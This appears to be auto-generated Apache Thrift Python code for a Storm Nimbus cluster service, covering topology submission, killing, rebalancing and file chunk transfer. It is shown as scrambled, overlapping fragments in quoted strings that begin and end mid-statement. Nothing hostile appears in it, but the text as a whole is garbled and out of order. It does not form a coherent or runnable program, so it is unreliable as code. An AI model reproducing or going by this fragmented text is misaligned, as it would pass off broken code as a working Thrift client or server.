deactivate(self, name):", "args = getTopologyInfo_args() args.read(iprot) iprot.readMessageEnd() result = getTopologyInfo_result() try: result.success", "rebalance_args: \"\"\" Attributes: - name - options \"\"\" thrift_spec =", "Attributes: - file \"\"\" thrift_spec = ( None, # 0", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getClusterInfo_result') if self.success", "if ftype == TType.STOP: break else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def", "- uploadedJarLocation - jsonConf - topology - options \"\"\" pass", "other): return not (self == other) class submitTopologyWithOpts_result: \"\"\" Attributes:", "args.read(iprot) iprot.readMessageEnd() result = uploadChunk_result() self._handler.uploadChunk(args.location, args.chunk) oprot.writeMessageBegin(\"uploadChunk\", TMessageType.REPLY, seqid)", "except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"getUserTopology\", TMessageType.REPLY, seqid)", "getUserTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None: return result.success", "2 (3, TType.STRING, 'jsonConf', None, None, ), # 3 (4,", "recv_getTopology(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype ==", "__ne__(self, other): return not (self == other) class getClusterInfo_result: \"\"\"", "name): \"\"\" Parameters: - name \"\"\" self.send_killTopology(name) self.recv_killTopology() def send_killTopology(self,", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('downloadChunk_result') if self.success is not None: oprot.writeFieldBegin('success',", "- file \"\"\" self.send_beginFileDownload(file) return self.recv_beginFileDownload() def send_beginFileDownload(self, file): self._oprot.writeMessageBegin('beginFileDownload',", "= e except InvalidTopologyException as ite: result.ite = ite oprot.writeMessageBegin(\"submitTopology\",", "other) class getClusterInfo_result: \"\"\" Attributes: - success \"\"\" thrift_spec =", "self.name is not None: oprot.writeFieldBegin('name', TType.STRING, 1) oprot.writeString(self.name) oprot.writeFieldEnd() if", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('deactivate_result') if", "0 (1, TType.STRUCT, 'e', (AlreadyAliveException, AlreadyAliveException.thrift_spec), None, ), # 1", "\"getTopology failed: unknown result\"); def getUserTopology(self, id): \"\"\" Parameters: -", "getTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None: return result.success", "ftype == TType.STRUCT: self.options = SubmitOptions() self.options.read(iprot) else: iprot.skip(ftype) else:", "args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getTopologyInfo(self, ): (fname,", "self.options = SubmitOptions() self.options.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd()", "other): return not (self == other) class beginFileUpload_result: \"\"\" Attributes:", "- success \"\"\" thrift_spec = ( (0, TType.STRUCT, 'success', (ClusterSummary,", "return not (self == other) class killTopology_args: \"\"\" Attributes: -", "e oprot.writeMessageBegin(\"activate\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_deactivate(self, seqid,", "None: fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec)) return iprot.readStructBegin() while True: (fname,", "def __init__(self, handler): self._handler = handler self._processMap = {} self._processMap[\"submitTopology\"]", "== TType.STRING: self.location = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd()", "return oprot.writeStructBegin('finishFileUpload_result') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L", "uploadChunk_args: \"\"\" Attributes: - location - chunk \"\"\" thrift_spec =", "uploadedJarLocation - jsonConf - topology - options \"\"\" self.send_submitTopologyWithOpts(name, uploadedJarLocation,", "args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_beginFileUpload(self, ): (fname, mtype, rseqid) =", "self.success.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L", "as ite: result.ite = ite oprot.writeMessageBegin(\"rebalance\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd()", "self.success.write(oprot) oprot.writeFieldEnd() if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1)", "e oprot.writeMessageBegin(\"killTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_killTopologyWithOpts(self, seqid,", "def deactivate(self, name): \"\"\" Parameters: - name \"\"\" pass def", "== TType.STRUCT: self.success = StormTopology() self.success.read(iprot) else: iprot.skip(ftype) elif fid", "\"getUserTopology failed: unknown result\"); class Processor(Iface, TProcessor): def __init__(self, handler):", "ftype == TType.STRING: self.chunk = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype)", "failed: unknown result\"); def getTopologyConf(self, id): \"\"\" Parameters: - id", "oprot.writeMessageBegin(\"downloadChunk\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getNimbusConf(self, seqid, iprot,", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileUpload_result') if", "other): return not (self == other) class beginFileDownload_result: \"\"\" Attributes:", "Processor.process_getClusterInfo self._processMap[\"getTopologyInfo\"] = Processor.process_getTopologyInfo self._processMap[\"getTopologyConf\"] = Processor.process_getTopologyConf self._processMap[\"getTopology\"] = Processor.process_getTopology", "if ftype == TType.STOP: break if fid == 0: if", "killTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None: raise result.e", "x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = deactivate_result()", "self._oprot.writeMessageBegin('uploadChunk', TMessageType.CALL, self._seqid) args = uploadChunk_args() args.location = location args.chunk", "self.send_downloadChunk(id) return self.recv_downloadChunk() def send_downloadChunk(self, id): self._oprot.writeMessageBegin('downloadChunk', TMessageType.CALL, self._seqid) args", "killTopologyWithOpts_args() args.name = name args.options = options args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush()", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('deactivate_args') if self.name", "(1, TType.STRING, 'file', None, None, ), # 1 ) def", "not (self == other) class uploadChunk_result: thrift_spec = ( )", "# 1 ) def __init__(self, file=None,): self.file = file def", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getUserTopology_args') if self.id is", "(1, TType.STRING, 'name', None, None, ), # 1 (2, TType.STRING,", "== other) class uploadChunk_args: \"\"\" Attributes: - location - chunk", "ClusterSummary.thrift_spec), None, ), # 0 ) def __init__(self, success=None,): self.success", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('finishFileUpload_args') if self.location is not None:", "= options args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_rebalance(self, ): (fname, mtype,", "def getUserTopology(self, id): \"\"\" Parameters: - id \"\"\" self.send_getUserTopology(id) return", "getTopologyConf_result() try: result.success = self._handler.getTopologyConf(args.id) except NotAliveException as e: result.e", "= name args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_deactivate(self, ): (fname, mtype,", "None, None, ), # 0 (1, TType.STRUCT, 'e', (NotAliveException, NotAliveException.thrift_spec),", "activate_args: \"\"\" Attributes: - name \"\"\" thrift_spec = ( None,", "None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopologyConf failed: unknown result\"); def", "__init__(self, success=None,): self.success = success def read(self, iprot): if iprot.__class__", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyInfo_args') if self.id is not None: oprot.writeFieldBegin('id',", "e: result.e = e oprot.writeMessageBegin(\"getTopologyInfo\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush()", "other) class getNimbusConf_args: thrift_spec = ( ) def read(self, iprot):", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyConf_args') if self.id is not", "result.success if result.e is not None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT,", "None, ), # 1 ) def __init__(self, file=None,): self.file =", "result = getTopology_result() try: result.success = self._handler.getTopology(args.id) except NotAliveException as", "not None: oprot.writeFieldBegin('success', TType.STRING, 0) oprot.writeString(self.success) oprot.writeFieldEnd() if self.e is", "not None: oprot.writeFieldBegin('options', TType.STRUCT, 5) self.options.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def", "= e oprot.writeMessageBegin(\"getTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getUserTopology(self,", "args = rebalance_args() args.read(iprot) iprot.readMessageEnd() result = rebalance_result() try: self._handler.rebalance(args.name,", "- file \"\"\" pass def downloadChunk(self, id): \"\"\" Parameters: -", "return def submitTopologyWithOpts(self, name, uploadedJarLocation, jsonConf, topology, options): \"\"\" Parameters:", "0 (1, TType.STRING, 'name', None, None, ), # 1 )", "oprot.writeMessageEnd() oprot.trans.flush() def process_submitTopologyWithOpts(self, seqid, iprot, oprot): args = submitTopologyWithOpts_args()", ") def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans,", "%s' % (name)) oprot.writeMessageBegin(name, TMessageType.EXCEPTION, seqid) x.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() return", "= ( None, # 0 (1, TType.STRING, 'location', None, None,", "return self.recv_getTopologyInfo() def send_getTopologyInfo(self, id): self._oprot.writeMessageBegin('getTopologyInfo', TMessageType.CALL, self._seqid) args =", "(self == other) class deactivate_result: \"\"\" Attributes: - e \"\"\"", "TMessageType.CALL, self._seqid) args = getNimbusConf_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getNimbusConf(self,", "result.ite = ite oprot.writeMessageBegin(\"submitTopologyWithOpts\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('rebalance_result') if self.e", "jsonConf - topology - options \"\"\" pass def killTopology(self, name):", "self.location = iprot.readString(); else: iprot.skip(ftype) elif fid == 2: if", "raise x result = getTopologyConf_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is", "getTopologyConf_result: \"\"\" Attributes: - success - e \"\"\" thrift_spec =", "other) class submitTopologyWithOpts_args: \"\"\" Attributes: - name - uploadedJarLocation -", "result = getTopologyInfo_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None:", "seqid, iprot, oprot): args = rebalance_args() args.read(iprot) iprot.readMessageEnd() result =", "self._handler.beginFileDownload(args.file) oprot.writeMessageBegin(\"beginFileDownload\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_downloadChunk(self, seqid,", "oprot.trans.flush() def process_getNimbusConf(self, seqid, iprot, oprot): args = getNimbusConf_args() args.read(iprot)", "return oprot.writeStructBegin('killTopologyWithOpts_args') if self.name is not None: oprot.writeFieldBegin('name', TType.STRING, 1)", "result\"); def getUserTopology(self, id): \"\"\" Parameters: - id \"\"\" self.send_getUserTopology(id)", "oprot.writeMessageBegin(\"getNimbusConf\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getClusterInfo(self, seqid, iprot,", "is not None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopology failed: unknown", "result = getNimbusConf_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None:", "not (self == other) class killTopologyWithOpts_result: \"\"\" Attributes: - e", "x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = rebalance_result()", "location \"\"\" self.send_finishFileUpload(location) self.recv_finishFileUpload() def send_finishFileUpload(self, location): self._oprot.writeMessageBegin('finishFileUpload', TMessageType.CALL, self._seqid)", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileDownload_args') if self.file is not", "Attributes: - location \"\"\" thrift_spec = ( None, # 0", "killTopology_args() args.name = name args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_killTopology(self, ):", "result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"getClusterInfo failed: unknown result\"); def getTopologyInfo(self, id):", "InvalidTopologyException as ite: result.ite = ite oprot.writeMessageBegin(\"submitTopologyWithOpts\", TMessageType.REPLY, seqid) result.write(oprot)", "getNimbusConf_args() args.read(iprot) iprot.readMessageEnd() result = getNimbusConf_result() result.success = self._handler.getNimbusConf() oprot.writeMessageBegin(\"getNimbusConf\",", "== TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is", "result.ite is not None: raise result.ite return def killTopology(self, name):", "id): self._oprot.writeMessageBegin('downloadChunk', TMessageType.CALL, self._seqid) args = downloadChunk_args() args.id = id", "def getTopologyConf(self, id): \"\"\" Parameters: - id \"\"\" pass def", "(self == other) class uploadChunk_result: thrift_spec = ( ) def", "args.read(iprot) iprot.readMessageEnd() result = rebalance_result() try: self._handler.rebalance(args.name, args.options) except NotAliveException", "oprot.writeFieldEnd() if self.jsonConf is not None: oprot.writeFieldBegin('jsonConf', TType.STRING, 3) oprot.writeString(self.jsonConf)", "== TType.STRING: self.id = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd()", "- name - options \"\"\" self.send_rebalance(name, options) self.recv_rebalance() def send_rebalance(self,", "None: raise result.e return def activate(self, name): \"\"\" Parameters: -", "= name def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and", "beginFileUpload_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_beginFileUpload(self, ): (fname, mtype, rseqid)", "= name args.uploadedJarLocation = uploadedJarLocation args.jsonConf = jsonConf args.topology =", "__init__(self, location=None, chunk=None,): self.location = location self.chunk = chunk def", "args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_activate(self, ): (fname, mtype, rseqid) =", "self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getNimbusConf(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin()", "return oprot.writeStructBegin('deactivate_args') if self.name is not None: oprot.writeFieldBegin('name', TType.STRING, 1)", "Iface: def submitTopology(self, name, uploadedJarLocation, jsonConf, topology): \"\"\" Parameters: -", "args.jsonConf, args.topology, args.options) except AlreadyAliveException as e: result.e = e", "= killTopologyWithOpts_args() args.read(iprot) iprot.readMessageEnd() result = killTopologyWithOpts_result() try: self._handler.killTopologyWithOpts(args.name, args.options)", "args.options) except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"killTopologyWithOpts\", TMessageType.REPLY,", "== other) class downloadChunk_args: \"\"\" Attributes: - id \"\"\" thrift_spec", "if result.success is not None: return result.success if result.e is", "return not (self == other) class activate_args: \"\"\" Attributes: -", "1 (2, TType.STRUCT, 'options', (KillOptions, KillOptions.thrift_spec), None, ), # 2", "result.e = e oprot.writeMessageBegin(\"getTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def", "None, # 0 (1, TType.STRUCT, 'e', (NotAliveException, NotAliveException.thrift_spec), None, ),", "if result.ite is not None: raise result.ite return def killTopology(self,", "if self.topology is not None: oprot.writeFieldBegin('topology', TType.STRUCT, 4) self.topology.write(oprot) oprot.writeFieldEnd()", "getTopologyInfo_result: \"\"\" Attributes: - success - e \"\"\" thrift_spec =", "'topology', (StormTopology, StormTopology.thrift_spec), None, ), # 4 (5, TType.STRUCT, 'options',", "None, ), # 3 (4, TType.STRUCT, 'topology', (StormTopology, StormTopology.thrift_spec), None,", "getNimbusConf_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getNimbusConf(self, ): (fname, mtype, rseqid)", "None: oprot.writeFieldBegin('name', TType.STRING, 1) oprot.writeString(self.name) oprot.writeFieldEnd() if self.uploadedJarLocation is not", "result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"beginFileUpload failed: unknown result\"); def uploadChunk(self, location,", "except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"killTopologyWithOpts\", TMessageType.REPLY, seqid)", "(KillOptions, KillOptions.thrift_spec), None, ), # 2 ) def __init__(self, name=None,", "x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = beginFileUpload_result()", "getNimbusConf_args: thrift_spec = ( ) def read(self, iprot): if iprot.__class__", "- id \"\"\" pass def getTopology(self, id): \"\"\" Parameters: -", "oprot.writeStructBegin('finishFileUpload_result') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L =", "\"\"\" self.send_rebalance(name, options) self.recv_rebalance() def send_rebalance(self, name, options): self._oprot.writeMessageBegin('rebalance', TMessageType.CALL,", "args = finishFileUpload_args() args.read(iprot) iprot.readMessageEnd() result = finishFileUpload_result() self._handler.finishFileUpload(args.location) oprot.writeMessageBegin(\"finishFileUpload\",", "process_getUserTopology(self, seqid, iprot, oprot): args = getUserTopology_args() args.read(iprot) iprot.readMessageEnd() result", "other): return not (self == other) class deactivate_args: \"\"\" Attributes:", "oprot): args = activate_args() args.read(iprot) iprot.readMessageEnd() result = activate_result() try:", "other) class killTopologyWithOpts_args: \"\"\" Attributes: - name - options \"\"\"", "(self == other) class deactivate_args: \"\"\" Attributes: - name \"\"\"", "not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"beginFileUpload failed: unknown result\");", "name \"\"\" pass def killTopologyWithOpts(self, name, options): \"\"\" Parameters: -", "location args.chunk = chunk args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_uploadChunk(self, ):", "result\"); def downloadChunk(self, id): \"\"\" Parameters: - id \"\"\" self.send_downloadChunk(id)", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopology_result') if self.e is", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('finishFileUpload_args') if self.location", "return not (self == other) class getNimbusConf_result: \"\"\" Attributes: -", "= TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = rebalance_result() result.read(self._iprot)", "self._seqid) args = submitTopologyWithOpts_args() args.name = name args.uploadedJarLocation = uploadedJarLocation", "raise x result = downloadChunk_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is", "self.ite.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L", "if ftype == TType.STRUCT: self.e = NotAliveException() self.e.read(iprot) else: iprot.skip(ftype)", "activate(self, name): \"\"\" Parameters: - name \"\"\" self.send_activate(name) self.recv_activate() def", "= Processor.process_downloadChunk self._processMap[\"getNimbusConf\"] = Processor.process_getNimbusConf self._processMap[\"getClusterInfo\"] = Processor.process_getClusterInfo self._processMap[\"getTopologyInfo\"] =", "= e oprot.writeMessageBegin(\"killTopologyWithOpts\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_activate(self,", "(1, TType.STRUCT, 'e', (NotAliveException, NotAliveException.thrift_spec), None, ), # 1 )", "self.thrift_spec))) return oprot.writeStructBegin('getTopology_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRUCT,", "uploadedJarLocation args.jsonConf = jsonConf args.topology = topology args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush()", "getTopology(self, id): \"\"\" Parameters: - id \"\"\" self.send_getTopology(id) return self.recv_getTopology()", "self._iprot.readMessageEnd() raise x result = getTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success", "chunk \"\"\" pass def finishFileUpload(self, location): \"\"\" Parameters: - location", "def recv_beginFileUpload(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype", "= ite oprot.writeMessageBegin(\"rebalance\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_beginFileUpload(self,", "result = killTopologyWithOpts_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None:", "self.recv_killTopology() def send_killTopology(self, name): self._oprot.writeMessageBegin('killTopology', TMessageType.CALL, self._seqid) args = killTopology_args()", "self._seqid) args = rebalance_args() args.name = name args.options = options", "ftype == TType.STRING: self.file = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype)", "jsonConf, topology) self.recv_submitTopology() def send_submitTopology(self, name, uploadedJarLocation, jsonConf, topology): self._oprot.writeMessageBegin('submitTopology',", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('downloadChunk_result') if self.success is not", "= getTopologyInfo_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None: return", "(self == other) class getNimbusConf_args: thrift_spec = ( ) def", "if ftype == TType.STRUCT: self.e = AlreadyAliveException() self.e.read(iprot) else: iprot.skip(ftype)", "2 ) def __init__(self, location=None, chunk=None,): self.location = location self.chunk", "== TType.STRUCT: self.topology = StormTopology() self.topology.read(iprot) else: iprot.skip(ftype) elif fid", "not None: raise result.e return def killTopologyWithOpts(self, name, options): \"\"\"", "None, None, ), # 0 ) def __init__(self, success=None,): self.success", "self.name = iprot.readString(); else: iprot.skip(ftype) elif fid == 2: if", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getUserTopology_args') if", "self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getTopology(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin()", "= Processor.process_submitTopologyWithOpts self._processMap[\"killTopology\"] = Processor.process_killTopology self._processMap[\"killTopologyWithOpts\"] = Processor.process_killTopologyWithOpts self._processMap[\"activate\"] =", "oprot.writeFieldBegin('uploadedJarLocation', TType.STRING, 2) oprot.writeString(self.uploadedJarLocation) oprot.writeFieldEnd() if self.jsonConf is not None:", "result.e is not None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopologyConf failed:", "deactivate_args: \"\"\" Attributes: - name \"\"\" thrift_spec = ( None,", "oprot.writeMessageBegin(\"getUserTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() # HELPER FUNCTIONS AND", "\"\"\" Parameters: - location \"\"\" pass def beginFileDownload(self, file): \"\"\"", "not None: oprot.writeFieldBegin('ite', TType.STRUCT, 2) self.ite.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopology_result') if self.e", "is not None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getUserTopology failed: unknown", "Processor.process_getUserTopology def process(self, iprot, oprot): (name, type, seqid) = iprot.readMessageBegin()", "return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return", "success \"\"\" thrift_spec = ( (0, TType.STRING, 'success', None, None,", "pass def getUserTopology(self, id): \"\"\" Parameters: - id \"\"\" pass", "- name - uploadedJarLocation - jsonConf - topology \"\"\" self.send_submitTopology(name,", "None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopologyInfo failed: unknown result\"); def", "args = getUserTopology_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def", "TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getNimbusConf(self, seqid, iprot, oprot):", "def __ne__(self, other): return not (self == other) class killTopology_result:", "(self == other) class finishFileUpload_args: \"\"\" Attributes: - location \"\"\"", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopology_result') if self.e is not", "x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getTopologyInfo_result()", "self.thrift_spec))) return oprot.writeStructBegin('getTopologyInfo_args') if self.id is not None: oprot.writeFieldBegin('id', TType.STRING,", "\"getNimbusConf failed: unknown result\"); def getClusterInfo(self, ): self.send_getClusterInfo() return self.recv_getClusterInfo()", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('activate_result') if self.e is not", "uploadedJarLocation self.jsonConf = jsonConf self.topology = topology self.options = options", "oprot.trans.flush() def process_getTopology(self, seqid, iprot, oprot): args = getTopology_args() args.read(iprot)", "\"\"\" self.send_activate(name) self.recv_activate() def send_activate(self, name): self._oprot.writeMessageBegin('activate', TMessageType.CALL, self._seqid) args", "4) self.topology.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self):", "def __ne__(self, other): return not (self == other) class submitTopologyWithOpts_args:", "oprot): args = getTopologyInfo_args() args.read(iprot) iprot.readMessageEnd() result = getTopologyInfo_result() try:", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('rebalance_args') if self.name is not", "oprot.writeStructBegin('getTopology_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRUCT, 0) self.success.write(oprot)", "None, None, ), # 1 ) def __init__(self, location=None,): self.location", "except InvalidTopologyException as ite: result.ite = ite oprot.writeMessageBegin(\"submitTopology\", TMessageType.REPLY, seqid)", "result\"); class Processor(Iface, TProcessor): def __init__(self, handler): self._handler = handler", "fid == 2: if ftype == TType.STRUCT: self.options = RebalanceOptions()", "beginFileDownload_result() result.success = self._handler.beginFileDownload(args.file) oprot.writeMessageBegin(\"beginFileDownload\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush()", "oprot.writeStructBegin('getTopologyInfo_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRUCT, 0) self.success.write(oprot)", "result = getTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None:", "id): \"\"\" Parameters: - id \"\"\" pass def getTopologyConf(self, id):", "getTopology_args() args.read(iprot) iprot.readMessageEnd() result = getTopology_result() try: result.success = self._handler.getTopology(args.id)", "name=None, uploadedJarLocation=None, jsonConf=None, topology=None, options=None,): self.name = name self.uploadedJarLocation =", "= beginFileDownload_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None: return", "Parameters: - name \"\"\" pass def rebalance(self, name, options): \"\"\"", "YOU ARE DOING # # options string: py # from", "== TType.STRUCT: self.options = SubmitOptions() self.options.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype)", "1) self.e.write(oprot) oprot.writeFieldEnd() if self.ite is not None: oprot.writeFieldBegin('ite', TType.STRUCT,", "TApplicationException(TApplicationException.MISSING_RESULT, \"getNimbusConf failed: unknown result\"); def getClusterInfo(self, ): self.send_getClusterInfo() return", "pass def deactivate(self, name): \"\"\" Parameters: - name \"\"\" pass", "other): return not (self == other) class getTopology_args: \"\"\" Attributes:", "= TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getNimbusConf_result() result.read(self._iprot)", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('finishFileUpload_result')", "file): \"\"\" Parameters: - file \"\"\" self.send_beginFileDownload(file) return self.recv_beginFileDownload() def", "not (self == other) class rebalance_args: \"\"\" Attributes: - name", "= e oprot.writeMessageBegin(\"getTopologyConf\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getTopology(self,", "self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_uploadChunk(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin()", "RebalanceOptions.thrift_spec), None, ), # 2 ) def __init__(self, name=None, options=None,):", "\"\"\" thrift_spec = ( (0, TType.STRUCT, 'success', (StormTopology, StormTopology.thrift_spec), None,", "self.recv_finishFileUpload() def send_finishFileUpload(self, location): self._oprot.writeMessageBegin('finishFileUpload', TMessageType.CALL, self._seqid) args = finishFileUpload_args()", "TTransport from thrift.protocol import TBinaryProtocol, TProtocol try: from thrift.protocol import", "= uploadChunk_args() args.read(iprot) iprot.readMessageEnd() result = uploadChunk_result() self._handler.uploadChunk(args.location, args.chunk) oprot.writeMessageBegin(\"uploadChunk\",", "is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"getClusterInfo failed: unknown", "process(self, iprot, oprot): (name, type, seqid) = iprot.readMessageBegin() if name", "if ftype == TType.STRUCT: self.options = KillOptions() self.options.read(iprot) else: iprot.skip(ftype)", "= uploadChunk_args() args.location = location args.chunk = chunk args.write(self._oprot) self._oprot.writeMessageEnd()", "other): return not (self == other) class submitTopologyWithOpts_args: \"\"\" Attributes:", "\"\"\" Parameters: - file \"\"\" pass def downloadChunk(self, id): \"\"\"", "as e: result.e = e oprot.writeMessageBegin(\"getUserTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd()", "other): return not (self == other) class uploadChunk_result: thrift_spec =", "TType.STRUCT: self.e = AlreadyAliveException() self.e.read(iprot) else: iprot.skip(ftype) elif fid ==", "x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getNimbusConf_result()", "= AlreadyAliveException() self.e.read(iprot) else: 